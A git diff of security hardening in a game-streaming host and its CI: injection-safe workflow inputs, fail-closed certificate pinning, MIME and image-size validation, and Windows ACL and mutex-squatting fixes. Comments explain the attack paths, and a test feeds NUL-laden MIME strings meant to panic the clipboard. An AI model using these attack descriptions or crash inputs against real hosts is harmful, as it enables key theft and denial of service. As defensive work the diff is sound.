diff --git a/.gitea/workflows/announce.yml b/.gitea/workflows/announce.yml index e4a66c3b..39b880ba 100644 --- a/.gitea/workflows/announce.yml +++ b/.gitea/workflows/announce.yml @@ -41,9 +41,23 @@ jobs: env: REGISTRY_TOKEN: ${{ secrets.REGISTRY_TOKEN }} UPDATE_MANIFEST_KEY: ${{ secrets.UPDATE_MANIFEST_KEY }} + # Through the ENVIRONMENT, never interpolated into the script body. A `${{ }}` expansion + # is a raw textual substitution performed BEFORE the shell sees the line, so a + # workflow_dispatch input containing shell syntax executes as this step — and this is the + # step holding UPDATE_MANIFEST_KEY, the Ed25519 key every host pins to decide whether an + # update is real (2026-08-05 review H-6). As `$INPUT_TAG` it is only ever data. + INPUT_TAG: ${{ inputs.tag }} run: | set -euo pipefail - TAG="${{ inputs.tag }}" + TAG="$INPUT_TAG" + # Shape-check before the value reaches a URL or a filename: tags are `vX.Y.Z[-suffix]`. + case "$TAG" in + v[0-9]*) ;; + *) echo "refusing to publish for a tag that is not vX.Y.Z: $TAG" >&2; exit 1 ;; + esac + case "$TAG" in + *[!A-Za-z0-9.+_-]*) echo "tag has characters no release tag has: $TAG" >&2; exit 1 ;; + esac case "$TAG" in *-*) echo "pre-release tag $TAG — not publishing to the stable update feed"; exit 0 ;; esac @@ -67,4 +81,7 @@ jobs: GITEA_TOKEN: ${{ secrets.REGISTRY_TOKEN }} DISCORD_RELEASE_WEBHOOK: ${{ secrets.DISCORD_RELEASE_WEBHOOK }} ALLOW_PRERELEASE: ${{ inputs.allow_prerelease }} - run: bash scripts/ci/discord-announce.sh "${{ inputs.tag }}" + # Same reasoning as the publish step above: the input is data in the environment, never + # text spliced into the command line. + INPUT_TAG: ${{ inputs.tag }} + run: bash scripts/ci/discord-announce.sh "$INPUT_TAG" diff --git a/.gitea/workflows/bench-gpu.yml b/.gitea/workflows/bench-gpu.yml index 3bb12745..54bef323 100644 --- a/.gitea/workflows/bench-gpu.yml +++ b/.gitea/workflows/bench-gpu.yml @@ -29,4 +29,9 @@ jobs: steps: - uses: actions/checkout@v4 - name: Tier-3 GPU stream benchmark - run: bash scripts/bench/gpu-stream.sh "${{ inputs.mode || '1920x1080x120' }}" 12 + # Through the environment, not interpolated into the command line: a `${{ }}` expansion is + # substituted before the shell parses the line, so an input carrying shell syntax would run + # as this step (2026-08-05 review H-6). + env: + BENCH_MODE: ${{ inputs.mode || '1920x1080x120' }} + run: bash scripts/bench/gpu-stream.sh "$BENCH_MODE" 12 diff --git a/.gitea/workflows/docker.yml b/.gitea/workflows/docker.yml index 9d78c765..ec3422e8 100644 --- a/.gitea/workflows/docker.yml +++ b/.gitea/workflows/docker.yml @@ -20,6 +20,24 @@ # REGISTRY_TOKEN: repo Actions secret, a PAT with write:package scope (app images only — # the LAN registry is unauthenticated inside the LAN). # +# ⚠ OPEN FINDING — security-review-2026-08-05 H-6. That parenthetical is the whole problem. +# Every secret-bearing job in this repo runs INSIDE an image pulled from this registry by a +# MUTABLE tag (`:latest`), and the registry accepts pushes from any LAN peer. Attacker position #1 +# of the project's own threat model — an unauthenticated LAN peer — therefore does not need to +# break any signing logic: they push one tag, and the next android.yml run executes their code in +# the same job that does `echo "$RELEASE_KEYSTORE_BASE64" | base64 -d > release.jks`. Same shape +# for rpm.yml (RPM_GPG_PRIVATE_KEY), android-promote.yml (SERVICE_ACCOUNT_JSON), and every other +# consumer listed by `grep -l 192.168.1.58:5010 .gitea/workflows/`. +# +# The fix is two halves and only one of them lives in this repo: +# 1. INFRA (unom/infra, runners/ci-core/): put auth in front of the registry, or move the +# builder images to git.unom.io where pushes are already authenticated. +# 2. HERE: once pushes are authenticated, pin consumers by `@sha256:` digest rather than +# `:latest`, so a compromised push cannot retroactively change what a green run built. +# Pinning by tag — including the content-keyed `$KEY` tags below — is NOT sufficient while +# the registry is open, because a tag can simply be overwritten. +# Neither half is done. The content-keying below bounds rebuild churn; it is not a trust boundary. +# # Bootstrap note: consuming workflows pull /punktfunk-rust-ci:latest, so the LAN # registry must hold a seeded :latest once (done 2026-07-29 from the last Gitea-registry # images); after that, this workflow keeps :latest current whenever ci/ changes. diff --git a/.gitea/workflows/sbom.yml b/.gitea/workflows/sbom.yml index 657f1a94..871bbdaa 100644 --- a/.gitea/workflows/sbom.yml +++ b/.gitea/workflows/sbom.yml @@ -38,10 +38,18 @@ jobs: with: fetch-depth: 0 # Pinned syft (keep in sync with the version validated against this repo; bump deliberately). + # + # The BINARY version was pinned; the INSTALLER was not — it was fetched from `main` and piped + # into a shell, so whatever that branch happened to say at job time ran here, with the job's + # environment (2026-08-05 review H-6). Pinning the script to the same tag as the binary makes + # the whole step reproducible: bump the tag in both places together. - name: Install syft + env: + SYFT_VERSION: v1.49.0 run: | - curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh \ - | sh -s -- -b /usr/local/bin v1.49.0 + set -euo pipefail + curl -sSfL "https://raw.githubusercontent.com/anchore/syft/${SYFT_VERSION}/install.sh" \ + | sh -s -- -b /usr/local/bin "$SYFT_VERSION" - name: Generate SBOM run: | git config --global --add safe.directory "$PWD" diff --git a/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/library/Library.kt b/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/library/Library.kt index 12b4d1e3..6088df8a 100644 --- a/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/library/Library.kt +++ b/clients/android/kit/src/main/kotlin/io/unom/punktfunk/kit/library/Library.kt @@ -127,8 +127,14 @@ object LibraryClient { * An OkHttpClient that presents the paired client cert and pins the host's self-signed cert by * SHA-256(DER) — reused for BOTH the library fetch and the cover-art loads (so a paired client * reaches the host's own art proxy). The pinning trust manager trusts the host by fingerprint and - * defers to normal public trust for any other origin (an external CDN URL); the hostname verifier - * accepts the pinned host (whose self-signed cert has no matching SAN) and defers otherwise. + * defers to normal public trust for any other origin (an external CDN URL). + * + * The two checks are only sound TOGETHER, and the composition is the point: the trust manager + * cannot fail closed on its own (it has no hostname, so it must let a CDN chain through), so the + * hostname verifier is what makes the pinned host pin-only. Loosen either and a publicly-trusted + * certificate for any name is accepted for the host — which is exactly what 2026-08-05 review M-2 + * found. The host's own cert is self-signed with no matching SAN, so it can never satisfy the + * default verifier; the pin is its only credential, on purpose. */ fun mtlsHttpClient(certPem: String, keyPem: String, host: String, fpHex: String): OkHttpClient { val clientCert = CertificateFactory.getInstance("X.509") @@ -162,7 +168,26 @@ fun mtlsHttpClient(certPem: String, keyPem: String, host: String, fpHex: String) val defaultVerifier = HttpsURLConnection.getDefaultHostnameVerifier() val verifier = HostnameVerifier { hostname, session -> - hostname == host || defaultVerifier.verify(hostname, session) + if (hostname == host) { + // The PINNED host fails closed: only the pinned leaf is acceptable for this name. + // + // This used to be a bare `hostname == host`, which composed with the trust manager's + // system-CA fall-through into "any publicly-trusted certificate, for any name, is + // accepted for the pinned host" — the pin was decorative (2026-08-05 review M-2). A + // MITM with any free CA-issued cert intercepted the connection, received the client's + // mTLS IDENTITY certificate, and served attacker-chosen library JSON and art URLs. + // The Rust (`pf-client-core`) and Apple (`ClientTLS`) paths already fail closed here; + // only Android did not. + try { + sha256Hex((session.peerCertificates.firstOrNull() as? X509Certificate)?.encoded ?: return@HostnameVerifier false) == pinned + } catch (_: Exception) { + false + } + } else { + // Any other origin (an external CDN art URL) is ordinary public trust: the system + // trust manager validated the chain, and this checks the name against it. + defaultVerifier.verify(hostname, session) + } } return OkHttpClient.Builder() diff --git a/crates/pf-clipboard/src/host.rs b/crates/pf-clipboard/src/host.rs index fab86bba..f7988005 100644 --- a/crates/pf-clipboard/src/host.rs +++ b/crates/pf-clipboard/src/host.rs @@ -309,6 +309,24 @@ pub fn offer_wire_mimes(raw: &[String]) -> Vec<&'static str> { out } +/// Whether a non-canonical, client-supplied MIME is safe to hand to Wayland as a string argument. +/// +/// Deliberately strict: printable ASCII only (so no NUL and no other control byte can reach the +/// `CString` in the generated encoder), bounded length, and it must actually look like a MIME type. +/// A real `type/subtype[;params]` passes; nothing that could crash or confuse the compositor does. +#[cfg(target_os = "linux")] +fn valid_passthrough_mime(m: &str) -> bool { + let Some((ty, rest)) = m.split_once('/') else { + return false; + }; + !ty.is_empty() + && !rest.is_empty() + && m.len() <= 255 + // 0x21..=0x7E: printable ASCII without space. Excludes NUL, every other control byte, and + // any non-ASCII byte. + && m.bytes().all(|b| (0x21..=0x7E).contains(&b)) +} + /// The Wayland MIMEs to advertise when installing a source for a client's offer. Each wire MIME /// expands to its canonical Wayland name(s); a rich-text-only offer also advertises `text/plain` /// so plain-text targets always paste (§3.5 synthesis — destination-side, one direction only). @@ -342,7 +360,17 @@ pub fn wayland_offers_for(wire_mimes: &[String]) -> Vec { WIRE_PNG => push("image/png"), WIRE_JPEG => push("image/jpeg"), WIRE_GIF => push("image/gif"), - other => push(other), + // A MIME we don't canonicalize is passed through verbatim — so it is the one value on + // this path the CLIENT fully controls, and it ends up as a Wayland string argument. + // The wayland-scanner-generated request encoder builds a `CString` and `unwrap()`s it, + // so a single interior NUL turns one control message into a host clipboard panic + // (2026-08-05 review L-8). `String::from_utf8_lossy` on the wire preserves `\0`, so + // nothing upstream removes it. Validate here, at the boundary where the value stops + // being ours and becomes libwayland's. + other if valid_passthrough_mime(other) => push(other), + other => { + tracing::debug!(mime = %other.escape_debug(), "clipboard: dropping a malformed client MIME"); + } } } // Synthesis: rich text without plain text → also advertise plain (the source derives it lazily). @@ -389,6 +417,38 @@ mod tests { assert_eq!(offer_wire_mimes(&raw), vec![WIRE_TEXT, WIRE_HTML]); } + /// One control message must not be able to panic the host clipboard coordinator + /// (2026-08-05 review L-8). The passthrough branch is the only place a client string becomes a + /// Wayland argument, and the generated encoder `unwrap()`s a `CString` built from it. + #[test] + fn passthrough_mimes_cannot_carry_a_nul_or_control_byte() { + // The crash payload: an interior NUL survives `String::from_utf8_lossy` on the wire. + assert!(!valid_passthrough_mime("image/webp\0")); + assert!(!valid_passthrough_mime("\0")); + assert!(!valid_passthrough_mime("image/\0webp")); + // Other control bytes and whitespace are refused for the same reason. + assert!(!valid_passthrough_mime("image/web\np")); + assert!(!valid_passthrough_mime("image/web p")); + assert!(!valid_passthrough_mime("image/web\tp")); + // Shapes that are not a MIME type at all. + assert!(!valid_passthrough_mime("")); + assert!(!valid_passthrough_mime("noslash")); + assert!(!valid_passthrough_mime("/nosubtype")); + assert!(!valid_passthrough_mime("notype/")); + assert!(!valid_passthrough_mime(&format!( + "image/{}", + "x".repeat(300) + ))); + // Legitimate uncanonicalized MIMEs still pass through. + assert!(valid_passthrough_mime("image/webp")); + assert!(valid_passthrough_mime("application/x-custom+json")); + assert!(valid_passthrough_mime("text/plain;charset=utf-8")); + + // End to end: the offer list is built without the malformed entry, and does not panic. + let offers = wayland_offers_for(&["image/webp\0".to_string(), WIRE_PNG.to_string()]); + assert_eq!(offers, vec!["image/png".to_string()]); + } + #[test] fn pick_wayland_mime_prefers_canonical() { let avail = vec!["text/plain".to_string(), "UTF8_STRING".to_string()]; diff --git a/crates/pf-clipboard/src/host/winfmt.rs b/crates/pf-clipboard/src/host/winfmt.rs index 81f2de8c..cad78743 100644 --- a/crates/pf-clipboard/src/host/winfmt.rs +++ b/crates/pf-clipboard/src/host/winfmt.rs @@ -169,7 +169,27 @@ fn strip_trailing_nul(b: &[u8]) -> &[u8] { /// bytes (BITMAPINFOHEADER, 32bpp BGRA, BI_RGB, bottom-up). GIFs contribute their first frame. /// `None` when the bytes don't decode — the caller leaves the format unrendered (empty paste). pub fn image_to_dib(bytes: &[u8]) -> Option> { - let img = image::load_from_memory(bytes).ok()?; + // Bound the DECODE, not just the result. + // + // These bytes are client-supplied, and `load_from_memory` used the `image` crate's DEFAULT + // limits — 512 MiB of decode allowance — while the 32767 dimension check below only ran on the + // already-decoded image. So a small, valid PNG declaring enormous dimensions was allocated in + // full before anything rejected it: ~1000× amplification from a few KB of wire (2026-08-05 + // review L-9). Limits applied here make the allocation refuse instead. + // + // The caps are the clipboard's own contract expressed up front: the same 32767 per side that + // is checked below (a CF_DIB cannot express more), and 256 MiB, which is more than the largest + // representable 32bpp image anyone pastes and far less than a memory-exhaustion primitive. + let mut limits = image::Limits::default(); + limits.max_image_width = Some(32767); + limits.max_image_height = Some(32767); + limits.max_alloc = Some(256 * 1024 * 1024); + let reader = image::ImageReader::new(std::io::Cursor::new(bytes)) + .with_guessed_format() + .ok()?; + let mut reader = reader; + reader.limits(limits); + let img = reader.decode().ok()?; let rgba = img.to_rgba8(); let (w, h) = (rgba.width() as usize, rgba.height() as usize); if w == 0 || h == 0 || w > 32767 || h > 32767 { diff --git a/crates/pf-inject/src/inject/linux/libei.rs b/crates/pf-inject/src/inject/linux/libei.rs index 39043efe..228d31a8 100644 --- a/crates/pf-inject/src/inject/linux/libei.rs +++ b/crates/pf-inject/src/inject/linux/libei.rs @@ -1022,10 +1022,21 @@ impl EiState { // Track held state on the wire codes so `release_all` can undo it at // session end (vanished clients must not leave anything latched). match ev.kind { - InputKind::KeyDown if !self.held_keys.contains(&ev.code) => { - self.held_keys.push(ev.code); + // Track the code we ACTUALLY INJECTED, not the raw wire code. + // + // Injection truncates (`vk_to_evdev(ev.code as u8)`), so 0x41, 0x141, 0x241 … all + // press the same key — but this list stored the full 32 bits, so a KeyUp for 0x41 + // never matched the entry a KeyDown for 0x141 left behind. A client sending + // distinct high bytes therefore appended entries that could never be removed, to a + // `Vec` scanned linearly on every keystroke, for the lifetime of the injector + // thread — which outlives the session (2026-08-05 review L-4). Tracking the + // truncated code makes the list correct AND bounds it at 256 entries by + // construction. `release_all` re-injects through the same truncation, so the + // release path is unchanged. + InputKind::KeyDown if !self.held_keys.contains(&(ev.code & 0xff)) => { + self.held_keys.push(ev.code & 0xff); } - InputKind::KeyUp => self.held_keys.retain(|&c| c != ev.code), + InputKind::KeyUp => self.held_keys.retain(|&c| c != ev.code & 0xff), InputKind::MouseButtonDown if !self.held_buttons.contains(&ev.code) => { self.held_buttons.push(ev.code); } diff --git a/crates/pf-paths/src/lib.rs b/crates/pf-paths/src/lib.rs index fbbfc8a8..59c94a87 100644 --- a/crates/pf-paths/src/lib.rs +++ b/crates/pf-paths/src/lib.rs @@ -70,11 +70,64 @@ pub fn create_private_dir(dir: &std::path::Path) -> std::io::Result<()> { { let r = std::fs::create_dir_all(dir); #[cfg(windows)] - restrict_dir_to_system_admins(dir); + restrict_dir_to_system_admins(dir, first_hardening_of(dir)); r } } +/// Whether this is the first hardening pass of `dir` in this process — the pass that also does the +/// expensive recursive re-own. +/// +/// A planted config dir is planted once, before the host ever starts, so one deep pass at startup +/// closes it; repeating it on every `create_private_dir` call (the library CRUD calls it per write) +/// would re-walk the whole config tree — recordings, art cache — for nothing. +#[cfg(windows)] +fn first_hardening_of(dir: &std::path::Path) -> bool { + use std::collections::HashSet; + use std::sync::{Mutex, OnceLock}; + static SEEN: OnceLock>> = OnceLock::new(); + SEEN.get_or_init(|| Mutex::new(HashSet::new())) + .lock() + .map(|mut s| s.insert(dir.to_path_buf())) + .unwrap_or(false) +} + +/// Re-apply the secret-file DACL to a file that **already exists** — including re-owning it to +/// Administrators. +/// +/// [`write_secret_file`] hardens what it writes, but a file that was planted before the host first +/// ran was never written by us: it is owned by whoever created it, and an owner always retains +/// `WRITE_DAC`, so re-ACLing without re-owning leaves them able to put their access straight back. +/// Used on startup for `host.env`, whose contents become the SYSTEM service's environment and +/// command line (2026-08-05 review H-4). Best-effort and never fatal. +#[cfg(windows)] +pub fn restrict_existing_secret_file(path: &std::path::Path) { + if !path.exists() { + return; + } + let icacls = icacls_path(); + let _ = std::process::Command::new(&icacls) + .arg(path.as_os_str()) + .args(["/setowner", "*S-1-5-32-544"]) // BUILTIN\Administrators + .stdout(std::process::Stdio::null()) + .stderr(std::process::Stdio::null()) + .status(); + restrict_to_system_admins(path); +} + +/// No-op off Windows: POSIX modes are set at creation by [`write_secret_file`] and a config dir a +/// non-root user pre-created is not a privilege boundary the way `%ProgramData%` is. +#[cfg(not(windows))] +pub fn restrict_existing_secret_file(_path: &std::path::Path) {} + +/// `icacls` by absolute path — a privileged service must never resolve it through `PATH`. +#[cfg(windows)] +fn icacls_path() -> String { + std::env::var("SystemRoot") + .map(|r| format!("{r}\\System32\\icacls.exe")) + .unwrap_or_else(|_| "icacls".to_string()) +} + /// Best-effort Windows DACL lockdown of the config *directory* (the companion to /// [`restrict_to_system_admins`] for files). The default `%ProgramData%` ACL lets `BUILTIN\Users` /// create subfolders/files (and become `CREATOR OWNER`), so a non-admin could pre-create the @@ -86,17 +139,23 @@ pub fn create_private_dir(dir: &std::path::Path) -> std::io::Result<()> { /// are additionally locked to SYSTEM/Admins by [`write_secret_file`]. Hard-coded SIDs /// (locale-independent) via the absolute `%SystemRoot%` path; never fatal. #[cfg(windows)] -fn restrict_dir_to_system_admins(dir: &std::path::Path) { - let icacls = std::env::var("SystemRoot") - .map(|r| format!("{r}\\System32\\icacls.exe")) - .unwrap_or_else(|_| "icacls".to_string()); - // Reset ownership of the directory object to Administrators first, so a dir a non-admin may have - // pre-created can't keep OWNER control (an owner can always rewrite the DACL). No `/T` — re-owning - // the dir itself is what defeats the pre-creation; recursing a large captures tree each call is - // needless churn (secret files are individually owner-locked by `write_secret_file`). - let _ = std::process::Command::new(&icacls) - .arg(dir.as_os_str()) - .args(["/setowner", "*S-1-5-32-544"]) // BUILTIN\Administrators +fn restrict_dir_to_system_admins(dir: &std::path::Path, deep: bool) { + let icacls = icacls_path(); + // Reset ownership to Administrators first, so a dir a non-admin may have pre-created can't keep + // OWNER control (an owner always retains WRITE_DAC and can put its access straight back). + // + // `deep` (once per directory per process — see `first_hardening_of`) also re-owns the CONTENTS. + // Re-owning only the directory left every file the attacker had already created still owned by + // them, and therefore still theirs to rewrite, which is half of why the 2026-08-05 review's H-4 + // was exploitable end to end. A planted tree is planted once, before the host first runs, so one + // deep pass at startup closes it without re-walking recordings and art cache on every write. + let mut own = std::process::Command::new(&icacls); + own.arg(dir.as_os_str()) + .args(["/setowner", "*S-1-5-32-544"]); // BUILTIN\Administrators + if deep { + own.args(["/T", "/C", "/Q"]); // recurse, continue on error, quiet + } + let _ = own .stdout(std::process::Stdio::null()) .stderr(std::process::Stdio::null()) .status(); @@ -108,8 +167,13 @@ fn restrict_dir_to_system_admins(dir: &std::path::Path) { "*S-1-5-18:(OI)(CI)(F)", // NT AUTHORITY\SYSTEM "/grant:r", "*S-1-5-32-544:(OI)(CI)(F)", // BUILTIN\Administrators - "/grant:r", - "*S-1-3-4:(OI)(CI)(F)", // OWNER RIGHTS + // NO inheritable OWNER RIGHTS (`*S-1-3-4`) here, deliberately. It used to be granted + // `(OI)(CI)(F)`, which handed full control of every child object to whoever owned it — + // so a file a local user created before the hardening ran stayed writable by them even + // after the directory was re-owned (2026-08-05 review H-4, second half). SYSTEM and + // Administrators cover every account that legitimately writes here; a non-elevated + // manual run gets read-only config, which is the intended boundary rather than a + // regression — this directory drives command execution as SYSTEM. "/grant:r", "*S-1-5-32-545:(OI)(CI)(RX)", // BUILTIN\Users — read-only (no create/write → no plant) ]) @@ -130,6 +194,19 @@ fn restrict_dir_to_system_admins(dir: &std::path::Path) { /// Windows (the default `%ProgramData%` ACL is Users-readable). Mirrors the mgmt-token hardening; used /// for the host private key and the persisted trust stores so a local unprivileged user can neither /// read the key (impersonation) nor tamper with the paired allow-list (unauthorized pairing). +/// +/// **Windows ordering caveat** (2026-08-05 review L-17): this is create-then-`icacls`, not +/// create-with-DACL — `std::fs::OpenOptions` cannot pass a `SECURITY_ATTRIBUTES`, and this crate is +/// `#![forbid(unsafe_code)]` so it cannot call `CreateFileW` itself. The file therefore exists +/// briefly under its INHERITED ACL, and a failed `icacls` is a warning rather than an error. +/// +/// What makes that acceptable is the DIRECTORY, and only the directory: every caller writes into +/// the config dir, which [`create_private_dir`] now hardens unconditionally and BEFORE the first +/// read of anything in it (review H-4/M-1), granting `BUILTIN\Users` read-only and no create. The +/// inherited ACL a secret is born with is therefore already SYSTEM/Administrators-only, and the +/// `icacls` below is defence in depth rather than the thing standing between a local user and the +/// host key. Keep that ordering — if the directory hardening is ever moved back after a read, this +/// window becomes real again. pub fn write_secret_file(path: &std::path::Path, contents: &[u8]) -> std::io::Result<()> { use std::io::Write; let mut opts = std::fs::OpenOptions::new(); @@ -160,9 +237,7 @@ pub fn write_secret_file(path: &std::path::Path, contents: &[u8]) -> std::io::Re /// `PATH`). Never fatal — on failure the file is simply left at the inherited ACL (today's behaviour). #[cfg(windows)] fn restrict_to_system_admins(path: &std::path::Path) { - let icacls = std::env::var("SystemRoot") - .map(|r| format!("{r}\\System32\\icacls.exe")) - .unwrap_or_else(|_| "icacls".to_string()); + let icacls = icacls_path(); let status = std::process::Command::new(icacls) .arg(path.as_os_str()) .args([ diff --git a/crates/pf-vdisplay/Cargo.toml b/crates/pf-vdisplay/Cargo.toml index 64eedf6d..4bb903b7 100644 --- a/crates/pf-vdisplay/Cargo.toml +++ b/crates/pf-vdisplay/Cargo.toml @@ -66,6 +66,11 @@ pf-driver-proto = { path = "../pf-driver-proto" } bytemuck = { version = "1.19", features = ["derive"] } windows = { version = "0.62", features = [ "Win32_Foundation", + # The single-instance mutex is created with an explicit SDDL DACL and its owner is checked, so + # a lower-privileged process (the LocalService plugin runner) can neither open it nor squat the + # name unnoticed — see manager/instance.rs (security-review 2026-08-05 L-16). + "Win32_Security", + "Win32_Security_Authorization", "Win32_Devices_DeviceAndDriverInstallation", "Win32_Devices_Display", "Win32_Graphics_Gdi", diff --git a/crates/pf-vdisplay/src/vdisplay/windows/manager/instance.rs b/crates/pf-vdisplay/src/vdisplay/windows/manager/instance.rs index 5c85846e..b41bc49e 100644 --- a/crates/pf-vdisplay/src/vdisplay/windows/manager/instance.rs +++ b/crates/pf-vdisplay/src/vdisplay/windows/manager/instance.rs @@ -3,6 +3,7 @@ //! `IOCTL_CLEAR_ALL` and razing the live host's monitors mid-stream. use super::*; +use windows::Win32::Security::{PSECURITY_DESCRIPTOR, SECURITY_ATTRIBUTES}; /// The held single-instance mutex (`None` until claimed). Process-global — not per-manager — so the /// serve path can claim it EAGERLY at startup, before any session opens the backend: the claim is @@ -40,16 +41,40 @@ fn acquire_single_instance() -> Result { machine — refusing to touch the driver (a second manager's startup CLEAR_ALL would raze \ the live host's monitors mid-stream). Stop the other instance (e.g. `punktfunk-host \ service stop`) first."; - // SAFETY: plain FFI create of a named mutex; the returned handle (checked) is solely owned by - // the `OwnedHandle`, and `GetLastError` is read immediately after the create — the documented - // ERROR_ALREADY_EXISTS protocol for pre-existing named objects. + // A name in `Global\` is creatable by ANY principal holding SeCreateGlobalPrivilege — which + // includes the LocalService account the plugin runner is forced to (plugins.rs). With `None` + // security attributes this object took the DACL from the creating token's default, and a + // squatter who got there first (creating the name with a DACL that denies SYSTEM) permanently + // and silently disabled every virtual-display session: the host lands in the ACCESS_DENIED arm + // below and reports a perfectly reasonable "another instance is managing the driver", which + // sends the operator hunting a process that does not exist (2026-08-05 review L-16). + // + // Two changes: create with an EXPLICIT DACL so lesser principals cannot open ours, and check + // the OWNER of a name that already exists so a squat is reported as a squat. + let sd = security_descriptor()?; + let sa = SECURITY_ATTRIBUTES { + nLength: std::mem::size_of::() as u32, + lpSecurityDescriptor: sd.0, + bInheritHandle: false.into(), + }; + // SAFETY: plain FFI create of a named mutex; `sa` (and the descriptor it points at) outlives + // the call, the returned handle (checked) is solely owned by the `OwnedHandle`, and + // `GetLastError` is read immediately after the create — the documented ERROR_ALREADY_EXISTS + // protocol for pre-existing named objects. unsafe { - let h = match CreateMutexW(None, false, w!("Global\\punktfunk-vdisplay-manager")) { + let h = match CreateMutexW(Some(&sa), false, w!("Global\\punktfunk-vdisplay-manager")) { Ok(h) => h, // The name exists but its creator's DACL denies this token the implicit OPEN (the SCM // service creates it as SYSTEM; a second elevated-admin host lands here instead of in - // the ALREADY_EXISTS branch — validated on-glass). Same meaning: an instance is live. - Err(e) if e.code().0 == 0x8007_0005u32 as i32 => anyhow::bail!("{IN_USE}"), + // the ALREADY_EXISTS branch — validated on-glass). Legitimately that means an instance + // is live; it is ALSO exactly what a squat looks like, so say both. + Err(e) if e.code().0 == 0x8007_0005u32 as i32 => anyhow::bail!( + "{IN_USE}\n\nIf no other punktfunk-host is running, the name \ + `Global\\punktfunk-vdisplay-manager` has been SQUATTED by another process — any \ + account with SeCreateGlobalPrivilege can create it first and deny us access, \ + which disables virtual-display streaming until that process exits. Find the \ + holder with Sysinternals `handle.exe -a punktfunk-vdisplay-manager`." + ), Err(e) => { return Err(e).context("CreateMutexW(punktfunk-vdisplay single-instance guard)"); } @@ -57,8 +82,114 @@ fn acquire_single_instance() -> Result { let already = GetLastError() == ERROR_ALREADY_EXISTS; let owned = OwnedHandle::from_raw_handle(h.0 as _); if already { + // We opened an existing object — so its DACL let us in, but that says nothing about + // who created it. If the owner is not SYSTEM/Administrators it is not one of ours. + if let Some(owner) = object_owner_sid(h) { + if !is_privileged_sid(&owner) { + anyhow::bail!( + "the pf-vdisplay single-instance name is held by a NON-ADMINISTRATIVE \ + process (owner SID {owner}) — this is not another punktfunk-host, it is a \ + squat on `Global\\punktfunk-vdisplay-manager`, and it blocks all \ + virtual-display streaming while it is held." + ); + } + } anyhow::bail!("{IN_USE}"); } Ok(owned) } } + +/// `D:P(A;;GA;;;SY)(A;;GA;;;BA)` — a protected DACL (no inheritance) granting Full to SYSTEM and +/// BUILTIN\Administrators, and to nobody else. Everything that legitimately manages pf-vdisplay is +/// one of those two; a LocalService plugin runner is neither, so it can no longer open our object. +fn security_descriptor() -> Result { + use windows::Win32::Security::Authorization::ConvertStringSecurityDescriptorToSecurityDescriptorW; + use windows::Win32::Security::Authorization::SDDL_REVISION_1; + let mut psd = PSECURITY_DESCRIPTOR::default(); + // SAFETY: the SDDL literal is NUL-terminated (`w!`), and `psd` is a live out-param whose + // allocation is taken over by `LocalSd` below. + unsafe { + ConvertStringSecurityDescriptorToSecurityDescriptorW( + w!("D:P(A;;GA;;;SY)(A;;GA;;;BA)"), + SDDL_REVISION_1, + &mut psd, + None, + ) + } + .context("build the pf-vdisplay single-instance security descriptor")?; + Ok(LocalSd(psd.0)) +} + +/// Owns a `LocalAlloc`'d security descriptor and frees it on drop. +struct LocalSd(*mut core::ffi::c_void); + +impl Drop for LocalSd { + fn drop(&mut self) { + if !self.0.is_null() { + // SAFETY: the pointer came from ConvertStringSecurityDescriptorToSecurityDescriptorW, + // which documents LocalFree as the matching deallocation. + unsafe { + let _ = windows::Win32::Foundation::LocalFree(Some( + windows::Win32::Foundation::HLOCAL(self.0), + )); + } + self.0 = std::ptr::null_mut(); + } + } +} + +/// The owner SID of a kernel object, as an SDDL string. `None` when it cannot be read (the handle +/// lacks READ_CONTROL) — treated as "unknown", never as "fine". +fn object_owner_sid(h: HANDLE) -> Option { + use windows::Win32::Foundation::{LocalFree, HLOCAL}; + use windows::Win32::Security::Authorization::{ + ConvertSidToStringSidW, GetSecurityInfo, SE_KERNEL_OBJECT, + }; + use windows::Win32::Security::{OWNER_SECURITY_INFORMATION, PSID}; + + let mut owner = PSID::default(); + let mut sd = PSECURITY_DESCRIPTOR::default(); + // SAFETY: `h` is the live mutex handle; the out-params are live locals; `sd` is the single + // allocation and is LocalFree'd below. + let rc = unsafe { + GetSecurityInfo( + h, + SE_KERNEL_OBJECT, + OWNER_SECURITY_INFORMATION, + Some(&mut owner), + None, + None, + None, + Some(&mut sd), + ) + }; + let out = if rc.is_ok() && !owner.is_invalid() { + let mut sid_str = windows::core::PWSTR::null(); + // SAFETY: `owner` points into `sd` and is a valid SID; `sid_str` is a live out-param whose + // LocalAlloc'd string is freed immediately below. + unsafe { + if ConvertSidToStringSidW(owner, &mut sid_str).is_ok() && !sid_str.is_null() { + let text = sid_str.to_string().unwrap_or_default(); + let _ = LocalFree(Some(HLOCAL(sid_str.0 as _))); + Some(text) + } else { + None + } + } + } else { + None + }; + // SAFETY: `sd` is the LocalAlloc'd descriptor GetSecurityInfo returned (null when it failed, + // which LocalFree tolerates). + unsafe { + let _ = LocalFree(Some(HLOCAL(sd.0))); + } + out +} + +/// SYSTEM, BUILTIN\Administrators, or a member of the Administrators-owned set — the principals a +/// legitimate pf-vdisplay manager runs as. +fn is_privileged_sid(sid: &str) -> bool { + matches!(sid, "S-1-5-18" | "S-1-5-32-544") || sid.starts_with("S-1-5-80-") // service SIDs +} diff --git a/crates/punktfunk-host/src/gamestream/cert.rs b/crates/punktfunk-host/src/gamestream/cert.rs index 9276fd14..abd9ac09 100644 --- a/crates/punktfunk-host/src/gamestream/cert.rs +++ b/crates/punktfunk-host/src/gamestream/cert.rs @@ -26,6 +26,14 @@ impl ServerIdentity { let dir = config_dir(); let cert_path = dir.join("cert.pem"); let key_path = dir.join("key.pem"); + // Harden the directory BEFORE the first read, not only in the branch that generates a new + // identity (2026-08-05 review M-1). Reading first is what made the hardening pointless + // against the attack it was written for: combined with H-4's pre-creatable + // `%ProgramData%\punktfunk`, a local user could plant a cert/key pair and have it adopted + // verbatim as the host's long-lived identity — the QUIC server key, the mgmt-API TLS key and + // the RSA pairing signer all becoming a key the attacker holds. The compromise is permanent: + // this function never regenerates while both files are non-empty. + pf_paths::create_private_dir(&dir).ok(); let (cert_pem, key_pem) = match ( fs::read_to_string(&cert_path), fs::read_to_string(&key_path), @@ -35,8 +43,8 @@ impl ServerIdentity { let (c, k) = generate()?; // The private key is the trust root for EVERY surface (TLS server cert, pairing // signing, the QUIC identity clients pin) — write it owner-only (0600 / SYSTEM-only - // DACL) so a local user can't read it and impersonate the host. The dir is 0700. - pf_paths::create_private_dir(&dir).ok(); + // DACL) so a local user can't read it and impersonate 